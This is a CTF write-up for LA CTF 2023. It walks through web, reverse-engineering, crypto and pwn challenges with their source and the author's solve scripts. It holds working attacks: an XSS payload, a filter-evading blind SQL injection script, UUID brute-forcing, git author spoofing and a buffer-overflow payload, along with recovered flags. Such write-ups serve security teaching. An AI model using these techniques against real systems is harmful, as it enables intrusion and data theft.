LA CTF 2023 wp

kdxcxs included in wp

2023-02-12 2784 words 14 minutes views

Contents

web

metaverse

core codes

const flag = process.env.FLAG;
accounts.set("admin", {
    password: adminpw,
    displayName: flag,
    posts: [],
    friends: [],
});

app.get("/post/:id", (req, res) => {
    if (posts.has(req.params.id)) {
        res.type("text/html").send(postTemplate.replace("$CONTENT", () => posts.get(req.params.id)));
    } else {
        res.status(400).type("text/html").send(postTemplate.replace("$CONTENT", "post not found :("));
    }
});

app.post("/friend", needsAuth, (req, res) => {
    res.type("text/plain");
    const username = req.body.username.trim();
    if (!accounts.has(username)) {
        res.status(400).send("Metauser doesn't metaexist");
    } else {
        const user = accounts.get(username);
        if (user.friends.includes(res.locals.user)) {
            res.status(400).send("Already metafriended");
        } else {
            user.friends.push(res.locals.user);
            res.status(200).send("ok");
        }
    }
});

app.get("/friends", needsAuth, (req, res) => {
    res.type("application/json");
    res.send(
        JSON.stringify(
            accounts
                .get(res.locals.user)
                .friends.filter((username) => accounts.has(username))
                .map((username) => ({
                    username,
                    displayName: accounts.get(username).displayName,
                }))
        )
    );
});

analyze

From the attachment, we know that the flag has been set to admin.displayName, and /friends api will return that to us. So, to get flag, we could just add admin into our friends list to get flag.

To add admin as a friend, we need to make the admin bot to post /friend with username={your_username}. Fortunately, this chall has no CSP and replace the template directly in the backend, so we could xss we want.

exp

<script>
fetch("/friend", {
    method: "POST",
    body: "username=kdxcxs",
    headers: {"Content-Type": "application/x-www-form-urlencoded"}
})
</script>

uuid hell

core codes

function randomUUID() {
    return uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100});
}
let adminuuids = []
let useruuids = []
function isAdmin(uuid) {
    return adminuuids.includes(uuid);
}

function getUsers() {
    adminuuids.forEach((adminuuid) => {
        const hash = crypto.createHash('md5').update("admin" + adminuuid).digest("hex");
        output += `<tr><td>${hash}</td></tr>\n`;
    });
}

app.use(cookieParser());

app.get('/', (req, res) => {
    let id = req.cookies['id'];
    if (id === undefined || !isUuid(id)) {
        id = randomUUID();
        res.cookie("id", id);
        useruuids.push(id);
    } else if (isAdmin(id)) {
        res.send(process.env.FLAG);
        return;
    }
    res.send("You are logged in as " + id + "<br><br>" + getUsers());
});

app.listen(process.env.PORT);

analyze

This chall uses RFC version 1 UUID, which is based on timestamp, just brute force with the time in HTTP response header.

exp

const uuid = require('uuid');
const crypto = require('crypto');
const { exit } = require('process');

const admins = ["acc34341de9e8ecaf49bde6f4d377498", "44e05669e6d782bbceb1c2af749ad9a7", "a25924ba56e8de078023487cea57649f", "cc3c65cd168ac099f06cc4d8d7058b93", "be75ab63cc0711b2fcb330c8e02f3b5c", "86c33f0187a7e16a0144deb0e9dea0fd", "de18900cea7125e711b7ecd28f4aef7d", "8a0744d41363a15c1834a07a40edf9e7", "932a89d2530dbefdbe7db8b207126b0c", "36693e0c3fba8d34df060b0008c3ec2e", "9f010d760701eda8df542546384c7ee3", "6148146163542db0fd052daa298fd980", "6e151ce35e80147569a21913ca36a684", "e398baaf1c29e501bfeffce7ee96645f", "c38e234b7773a56cff846b54df6dda2a", "da8811d9364417bcbaa19876ab0b76af", "13abb3d1523abe9a69303b2c2410aae5", "f0e1a25eacdc68702dd6621c3d96792e", "db5c79176bc9c06bb63de21f9de61196", "6f6380d12b3212dad6ae1d6eab2428f7", "67e22eba9e7a767a56ebeb2ef9a51793", "c78405653cf1cee08d8e984fe359617a", "5ec8a3e769e8e62907772e2288a65e7a", "c9637274b6df2956dab7574dbce5bbd1", "04ea690ff631297a1516760efdce2d29", "e4bc0be5fa23ffaf34b2b5b47abcb20d", "93e6d2d0c2c4d1c39d7be74b909f745c", "e8bdec2e9eb47e7c5a5e7fdb908725e0", "fab90a3c7fb0a17215a7fdacdf522b75", "9792994ef843f1e738b8ca1468d06d3c", "1b746886e29133aa625ad8745a6dc7fe", "f3bac60c5db60077fd792347fe346264", "410234c157ebb2c86aa3429ea6d9b256", "d40f5c991f4cfc784445706d98e49f25", "a1b0955a10c378809af242d6be1befef", "6e4bca31428725a7c4a7ab60eb48295b", "0d701224593dba4fa798c3dad30f1c6e", "230726e9cb4e682a68cb127a398d6183", "e62c8b91bfca85c4b4dbd326c278b476", "5d202fb5a911fb0515095c7f7bab6006", "b898cedb82d1b6246b8c93777f1d4763", "28b96b3734378e3eed7d865f67ba8b4a", "d1db28991e78aa91c0ff916d256419ba", "d085e95d4db445c21d625ae756b42179", "19da3595ed8473e6b6865399a41a3884", "7a8f2de208b00f839bc1f5e15bbf2414", "bf7c76d66ca97e4b7e7630c62e371a6c", "ae508185f3bd13b94bb1e71ead61fec5", "11bf215620d852bcb210b9170cfb66a3", "ecbf6024407f437590ca2a2ddc0982e1"];
let msecs = new Date('Sat, 11 Feb 2023 14:35:54 GMT').getTime();

while (true) {
    for (let nsecs = 0; nsecs < 10000; nsecs++) {
        const id = uuid.v1({ msecs, nsecs, 'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100 });
        const hash = crypto.createHash('md5').update("admin" + id).digest("hex");
        if (admins.includes(hash)) {
            console.log(id);
            exit(0);
        }
    }
    msecs -= 1;
}

85_reasons_why

core codes

@app.route('/image-search', methods=['GET', 'POST'])
def image_search():
    if 'image-query' not in request.files or request.method == 'GET':
        return render_template('image-search.html', results=[])
    incoming_file = request.files['image-query']
    size = os.fstat(incoming_file.fileno()).st_size
    if size > MAX_IMAGE_SIZE:
        flash("image is too large (50kb max)");
        return redirect(url_for('home'))
    spic = serialize_image(incoming_file.read())
    try:
        res = db.session.connection().execute(\
            text("select parent as PID from images where b85_image = '{}' AND ((select active from posts where id=PID) = TRUE)".format(spic)))
    except Exception as e:
        return ("SQL error encountered", 500)
    results = []
    for row in res:
        post = db.session.query(Post).get(row[0])
        if (post not in results):
            results.append(post)
    return render_template('image-search.html', results=results)

def serialize_image(pp):
    b85 = base64.a85encode(pp)
    b85_string = b85.decode('UTF-8', 'ignore')

    # identify single quotes, and then escape them
    b85_string = re.sub('\\\\\\\\\\\\\'', '~', b85_string)
    b85_string = re.sub('\'', '\'\'', b85_string)
    b85_string = re.sub('~', '\'', b85_string)

    b85_string = re.sub('\\:', '~', b85_string)
    return b85_string

analyze

This chall is based on sqlalchemy, but for /image-search route, we can find a sqli in app/views.py:71. From the code, we can tell that the payload is sent as a file and been processed by serialize_image() before it’s injected into sql.

serialize_image

The function first encodes the payload into base85(aka, ascii85), then decodes it as utf8, and replaces some strings before return.

For the first step, we could bypass it by decoding payload as base85 before sending to the server. As a result, the chars we could make of is limited in !-uascii 33-117, also, to avoid getting ValueError: Ascii85 overflow, we should use upper case letters as we can.

For the str replacing part, it’s obvious that \\\\\\' will finally be replaced with ', so we can just using \\\\\\' as '.

sqli

/image-search renders post infos with the id selected in sql, so I plan to write a bool sqli script. But with sqlite as db, functions we can use is also limited. I ended up using LIKE keyword to check if the char is correct. Also, because of base85, we just could not concat str like "kdx"||"cxs", I used PRINTF instead.

exp

import requests, io, base64

endpoint = 'https://85-reasons-why.lac.tf'

i = 1
while True:
    left = 0
    right = 255
    while right - left > 1:
        mid = left + (right - left) // 2
        injection = f'\' UNION SELECT (CASE WHEN(SELECT 1 WHERE "{",".join([hex(c)[2:] for c in range(left, mid)])}" LIKE PRINTF("%%%s%%",HEX(SUBSTR((SELECT GROUP_CONCAT(id) FROM POSTS WHERE ACTIVE=0),{i},1)))) THEN "c32c1a0b-8382-43f6-ae06-4ba91c29fe89" ELSE "" END)--aaa'
        payload = injection.replace(' ', '/**/').replace("'", "\\\\\\'")
        payload = base64.a85decode(payload.encode())
        r = requests.post(f'{endpoint}/image-search', files=[('image-query', ('exp', io.BytesIO(payload)))])
        if '<p>Author: Anonymous Writer</p>' in r.text:
            right = mid
        else:
            left = mid
    if left >= 1:
        i += 1
        print(chr(left), end='')
        continue
    break

# flag at https://85-reasons-why.lac.tf/posts?post_id=be734534-dd06-4695-8b9e-84e8572f6496

misc

new-challenge

core codes

declare -A LACTF_CHALL_WRITERS
LACTF_CHALL_WRITERS["Benson Liu"]="bensonhliu@lac.tf"

HAS_BLIUTECH_COMMIT=false

while read oldrev newrev refname; do
  if echo "$oldrev" | grep -Eq '^0+$'; then
      commits=$(git rev-list $newrev --not --branches=*)
  else
      commits=$(git rev-list ${oldrev}..${newrev})
  fi
  for commit in $commits; do
    # access control: only allow LA CTF challenge writers
    name_email=("$(git show $commit --pretty=format:'%an' | sed '1!d')" "$(git show $commit --pretty=format:'%ae' | sed '1!d')")
    if [ "${LACTF_CHALL_WRITERS["${name_email[0]}"]}" != "${name_email[1]}" ]
    then
      echo >&2 "error: not an LA CTF challenge writer"
      exit 1
    fi
    if [ "${name_email[0]}" == "Benson Liu" ]
    then
      HAS_BLIUTECH_COMMIT=true
    fi
  done
done

if $HAS_BLIUTECH_COMMIT
then
  echo $FLAG
fi

analyze

When the git receives a push request, it will check if the push contains commit from Benson Liu, if so, it prints flag. So just setting user config in git before commiting solves the chall 😎.

exp

rev

string-cheese

Just throw into ida

caterpillar

Full of -~-~-~-~-~-~

It’s easy to find that the number of -~ is the result of the whole (-~)+\[\] expression, so I converted all of that:

And then just restore the flag:

const flag = [..."lactf{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"];
flag[17] = String.fromCharCode(108);
flag[43] = String.fromCharCode(95);
flag[21] = String.fromCharCode(108);
flag[2] = String.fromCharCode(99);
flag[46] = String.fromCharCode(52);
flag[7] = String.fromCharCode(104);
flag[42] = String.fromCharCode(51);
flag[18] = String.fromCharCode(49);
flag[50] = String.fromCharCode(103);
flag[31] = String.fromCharCode(108);
flag[39] = String.fromCharCode(95);
flag[27] = String.fromCharCode(51);
flag[19] = String.fromCharCode(116);
flag[4] = String.fromCharCode(102);
flag[25] = String.fromCharCode(52);
flag[11] = String.fromCharCode(117);
flag[1] = String.fromCharCode(97);
flag[47] = String.fromCharCode(103);
flag[14] = String.fromCharCode(114);
flag[10] = String.fromCharCode(104);
flag[36] = String.fromCharCode(97);
flag[54] = String.fromCharCode(125);
flag[33] = String.fromCharCode(52);
flag[41] = String.fromCharCode(104);
flag[20] = String.fromCharCode(116);
flag[12] = String.fromCharCode(110);
flag[3] = String.fromCharCode(116);
flag[13] = String.fromCharCode(103);
flag[52] = String.fromCharCode(49);
flag[26] = String.fromCharCode(116);
flag[44] = String.fromCharCode(102);
flag[29] = String.fromCharCode(112);
flag[38] = String.fromCharCode(51);
flag[8] = String.fromCharCode(51);
flag[35] = String.fromCharCode(95);
flag[53] = String.fromCharCode(110);
flag[16] = String.fromCharCode(95);
flag[37] = String.fromCharCode(116);
flag[9] = String.fromCharCode(95);
flag[28] = String.fromCharCode(114);
flag[22] = String.fromCharCode(51);
flag[15] = String.fromCharCode(121);
flag[32] = String.fromCharCode(108);
flag[23] = String.fromCharCode(95);
flag[49] = String.fromCharCode(52);
flag[51] = String.fromCharCode(52);
flag[48] = String.fromCharCode(95);
flag[45] = String.fromCharCode(108);
flag[6] = String.fromCharCode(116);
flag[30] = String.fromCharCode(49);
flag[40] = String.fromCharCode(116);
flag[34] = String.fromCharCode(114);
flag[24] = String.fromCharCode(99);
flag[5] = String.fromCharCode(123);
console.log(flag.join(''));
// lactf{th3_hungry_l1ttl3_c4t3rp1ll4r_at3_th3_fl4g_4g41n}

finals-simulator

IDA disassembly:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-114h] BYREF
  char s[264]; // [rsp+10h] [rbp-110h] BYREF
  char *i; // [rsp+118h] [rbp-8h]

  puts("Welcome to Finals Simulator 2023: Math Edition!");
  printf("Question #1: What is sin(x)/n? ");
  fflush(stdout);
  fgets(s, 256, stdin);
  s[strcspn(s, "\n")] = 0;
  if ( !strcmp(s, "six") )
  {
    printf("Question #2: What's the prettiest number? ");
    fflush(stdout);
    __isoc99_scanf("%d", &v4);
    if ( 42 * (v4 + 88) == 561599850 )
    {
      printf("Question #3: What's the integral of 1/cabin dcabin? ");
      fflush(stdout);
      getchar();
      fgets(s, 256, stdin);
      s[strcspn(s, "\n")] = 0;
      for ( i = s; *i; ++i )
        *i = 17 * *i % mod;
      putchar(10);
      if ( !strcmp(s, &enc) )
      {
        puts("Wow! A 100%! You must be really good at math! Here, have a flag as a reward.");
        print_flag();
      }
      else
      {
        puts("Wrong! You failed.");
      }
      return 0;
    }
    else
    {
      puts("Wrong! You failed.");
      return 0;
    }
  }
  else
  {
    puts("Wrong! You failed.");
    return 0;
  }
}

exp:

from pwn import *

context.log_level = 'debug'

p = remote('lac.tf', 31132)

def re(e):
    for i in range(0x100):
        if 17 * i % 0xfd == e:
            return i

enc = [0x0E, 0xC9, 0x9D, 0xB8, 0x26, 0x83, 0x26, 0x41, 0x74, 0xE9, 0x26, 0xA5, 0x83, 0x94, 0x0E, 0x63, 0x37, 0x37, 0x37]
res = bytes([re(e) for e in enc])

p.sendlineafter(b'Question #1: What is sin(x)/n? ', b'six')
p.sendlineafter(b'Question #2: What\'s the prettiest number? ', str(561599850 // 42 - 88).encode())
p.sendlineafter(b'Question #3: What\'s the integral of 1/cabin dcabin? ', res)
print(p.recv())

universal

Disassembly class file:

import java.nio.charset.Charset;
import java.util.Scanner;

class FlagChecker {

   public static void main(String[] var0) {
      System.out.print("What\'s the flag? ");
      System.out.flush();
      Scanner var1 = new Scanner(System.in);
      String var2 = var1.nextLine();
      var1.close();
      byte[] var3 = var2.getBytes(Charset.forName("UTF-8"));
      if(var3.length == 38 && ((var3[34] ^ var3[23] * 7 ^ ~var3[36] + 13) & 255) == 182 && ((var3[37] ^ var3[10] * 7 ^ ~var3[21] + 13) & 255) == 223 && ((var3[24] ^ var3[23] * 7 ^ ~var3[19] + 13) & 255) == 205 && ((var3[25] ^ var3[13] * 7 ^ ~var3[23] + 13) & 255) == 144 && ((var3[6] ^ var3[27] * 7 ^ ~var3[25] + 13) & 255) == 138 && ((var3[4] ^ var3[32] * 7 ^ ~var3[22] + 13) & 255) == 227 && ((var3[25] ^ var3[19] * 7 ^ ~var3[1] + 13) & 255) == 107 && ((var3[22] ^ var3[7] * 7 ^ ~var3[29] + 13) & 255) == 85 && ((var3[15] ^ var3[10] * 7 ^ ~var3[20] + 13) & 255) == 188 && ((var3[29] ^ var3[16] * 7 ^ ~var3[12] + 13) & 255) == 88 && ((var3[35] ^ var3[4] * 7 ^ ~var3[33] + 13) & 255) == 84 && ((var3[36] ^ var3[2] * 7 ^ ~var3[4] + 13) & 255) == 103 && ((var3[26] ^ var3[3] * 7 ^ ~var3[1] + 13) & 255) == 216 && ((var3[12] ^ var3[6] * 7 ^ ~var3[18] + 13) & 255) == 165 && ((var3[12] ^ var3[28] * 7 ^ ~var3[36] + 13) & 255) == 151 && ((var3[20] ^ var3[0] * 7 ^ ~var3[21] + 13) & 255) == 101 && ((var3[27] ^ var3[36] * 7 ^ ~var3[14] + 13) & 255) == 248 && ((var3[35] ^ var3[2] * 7 ^ ~var3[19] + 13) & 255) == 44 && ((var3[13] ^ var3[11] * 7 ^ ~var3[33] + 13) & 255) == 242 && ((var3[33] ^ var3[11] * 7 ^ ~var3[3] + 13) & 255) == 235 && ((var3[31] ^ var3[37] * 7 ^ ~var3[29] + 13) & 255) == 248 && ((var3[1] ^ var3[33] * 7 ^ ~var3[31] + 13) & 255) == 33 && ((var3[34] ^ var3[22] * 7 ^ ~var3[35] + 13) & 255) == 84 && ((var3[36] ^ var3[16] * 7 ^ ~var3[4] + 13) & 255) == 75 && ((var3[8] ^ var3[3] * 7 ^ ~var3[10] + 13) & 255) == 214 && ((var3[20] ^ var3[5] * 7 ^ ~var3[12] + 13) & 255) == 193 && ((var3[28] ^ var3[34] * 7 ^ ~var3[16] + 13) & 255) == 210 && ((var3[3] ^ var3[35] * 7 ^ ~var3[9] + 13) & 255) == 205 && ((var3[27] ^ var3[22] * 7 ^ ~var3[2] + 13) & 255) == 46 && ((var3[27] ^ var3[18] * 7 ^ ~var3[9] + 13) & 255) == 54 && ((var3[3] ^ var3[29] * 7 ^ ~var3[22] + 13) & 255) == 32 && ((var3[24] ^ var3[4] * 7 ^ ~var3[13] + 13) & 255) == 99 && ((var3[22] ^ var3[16] * 7 ^ ~var3[13] + 13) & 255) == 108 && ((var3[12] ^ var3[8] * 7 ^ ~var3[30] + 13) & 255) == 117 && ((var3[25] ^ var3[27] * 7 ^ ~var3[35] + 13) & 255) == 146 && ((var3[16] ^ var3[10] * 7 ^ ~var3[14] + 13) & 255) == 250 && ((var3[21] ^ var3[25] * 7 ^ ~var3[12] + 13) & 255) == 195 && ((var3[26] ^ var3[10] * 7 ^ ~var3[30] + 13) & 255) == 203 && ((var3[20] ^ var3[2] * 7 ^ ~var3[1] + 13) & 255) == 47 && ((var3[34] ^ var3[12] * 7 ^ ~var3[27] + 13) & 255) == 121 && ((var3[19] ^ var3[34] * 7 ^ ~var3[20] + 13) & 255) == 246 && ((var3[25] ^ var3[22] * 7 ^ ~var3[14] + 13) & 255) == 61 && ((var3[19] ^ var3[28] * 7 ^ ~var3[37] + 13) & 255) == 189 && ((var3[24] ^ var3[9] * 7 ^ ~var3[17] + 13) & 255) == 185) {
         System.out.println("Correct!");
      } else {
         System.out.println("Not quite...");
      }
   }
}

exp:

from z3 import *

solver = Solver()

exec(f'{",".join(["var" + str(v) for v in range(38)])} = BitVecs("{" ".join(["var" + str(v) for v in range(38)])}",8)')

solver.add(((var34 ^ var23 * 7 ^ ~var36 + 13) & 255) == 182)
solver.add(((var37 ^ var10 * 7 ^ ~var21 + 13) & 255) == 223)
solver.add(((var24 ^ var23 * 7 ^ ~var19 + 13) & 255) == 205)
solver.add(((var25 ^ var13 * 7 ^ ~var23 + 13) & 255) == 144)
solver.add(((var6 ^ var27 * 7 ^ ~var25 + 13) & 255) == 138)
solver.add(((var4 ^ var32 * 7 ^ ~var22 + 13) & 255) == 227)
solver.add(((var25 ^ var19 * 7 ^ ~var1 + 13) & 255) == 107)
solver.add(((var22 ^ var7 * 7 ^ ~var29 + 13) & 255) == 85)
solver.add(((var15 ^ var10 * 7 ^ ~var20 + 13) & 255) == 188)
solver.add(((var29 ^ var16 * 7 ^ ~var12 + 13) & 255) == 88)
solver.add(((var35 ^ var4 * 7 ^ ~var33 + 13) & 255) == 84)
solver.add(((var36 ^ var2 * 7 ^ ~var4 + 13) & 255) == 103)
solver.add(((var26 ^ var3 * 7 ^ ~var1 + 13) & 255) == 216)
solver.add(((var12 ^ var6 * 7 ^ ~var18 + 13) & 255) == 165)
solver.add(((var12 ^ var28 * 7 ^ ~var36 + 13) & 255) == 151)
solver.add(((var20 ^ var0 * 7 ^ ~var21 + 13) & 255) == 101)
solver.add(((var27 ^ var36 * 7 ^ ~var14 + 13) & 255) == 248)
solver.add(((var35 ^ var2 * 7 ^ ~var19 + 13) & 255) == 44)
solver.add(((var13 ^ var11 * 7 ^ ~var33 + 13) & 255) == 242)
solver.add(((var33 ^ var11 * 7 ^ ~var3 + 13) & 255) == 235)
solver.add(((var31 ^ var37 * 7 ^ ~var29 + 13) & 255) == 248)
solver.add(((var1 ^ var33 * 7 ^ ~var31 + 13) & 255) == 33)
solver.add(((var34 ^ var22 * 7 ^ ~var35 + 13) & 255) == 84)
solver.add(((var36 ^ var16 * 7 ^ ~var4 + 13) & 255) == 75)
solver.add(((var8 ^ var3 * 7 ^ ~var10 + 13) & 255) == 214)
solver.add(((var20 ^ var5 * 7 ^ ~var12 + 13) & 255) == 193)
solver.add(((var28 ^ var34 * 7 ^ ~var16 + 13) & 255) == 210)
solver.add(((var3 ^ var35 * 7 ^ ~var9 + 13) & 255) == 205)
solver.add(((var27 ^ var22 * 7 ^ ~var2 + 13) & 255) == 46)
solver.add(((var27 ^ var18 * 7 ^ ~var9 + 13) & 255) == 54)
solver.add(((var3 ^ var29 * 7 ^ ~var22 + 13) & 255) == 32)
solver.add(((var24 ^ var4 * 7 ^ ~var13 + 13) & 255) == 99)
solver.add(((var22 ^ var16 * 7 ^ ~var13 + 13) & 255) == 108)
solver.add(((var12 ^ var8 * 7 ^ ~var30 + 13) & 255) == 117)
solver.add(((var25 ^ var27 * 7 ^ ~var35 + 13) & 255) == 146)
solver.add(((var16 ^ var10 * 7 ^ ~var14 + 13) & 255) == 250)
solver.add(((var21 ^ var25 * 7 ^ ~var12 + 13) & 255) == 195)
solver.add(((var26 ^ var10 * 7 ^ ~var30 + 13) & 255) == 203)
solver.add(((var20 ^ var2 * 7 ^ ~var1 + 13) & 255) == 47)
solver.add(((var34 ^ var12 * 7 ^ ~var27 + 13) & 255) == 121)
solver.add(((var19 ^ var34 * 7 ^ ~var20 + 13) & 255) == 246)
solver.add(((var25 ^ var22 * 7 ^ ~var14 + 13) & 255) == 61)
solver.add(((var19 ^ var28 * 7 ^ ~var37 + 13) & 255) == 189)
solver.add(((var24 ^ var9 * 7 ^ ~var17 + 13) & 255) == 185)

if solver.check() == sat:
    m = solver.model()
    print(''.join([chr(eval(f'm[var{i}]').as_long()) for i in range(38)]))

crypto

one-more-time-pad

Just xor back:

pt = b"Long ago, the four nations lived together in harmony ..."
ct = "200e0d13461a055b4e592b0054543902462d1000042b045f1c407f18581b56194c150c13030f0a5110593606111c3e1f5e305e174571431e"

for i in range(len(pt)):
    print(chr(pt[i] ^ int(ct[2*i:2*(i+1)], 16)), end='')

rolling in the mud

pwn

gatekeep

from pwn import *

context.log_level = 'debug'

# p = process('./gatekeep')
p=remote('lac.tf', 31121)

p.sendlineafter(b'Password:\n', p64(0x00005555555551d5) * 40)
p.interactive()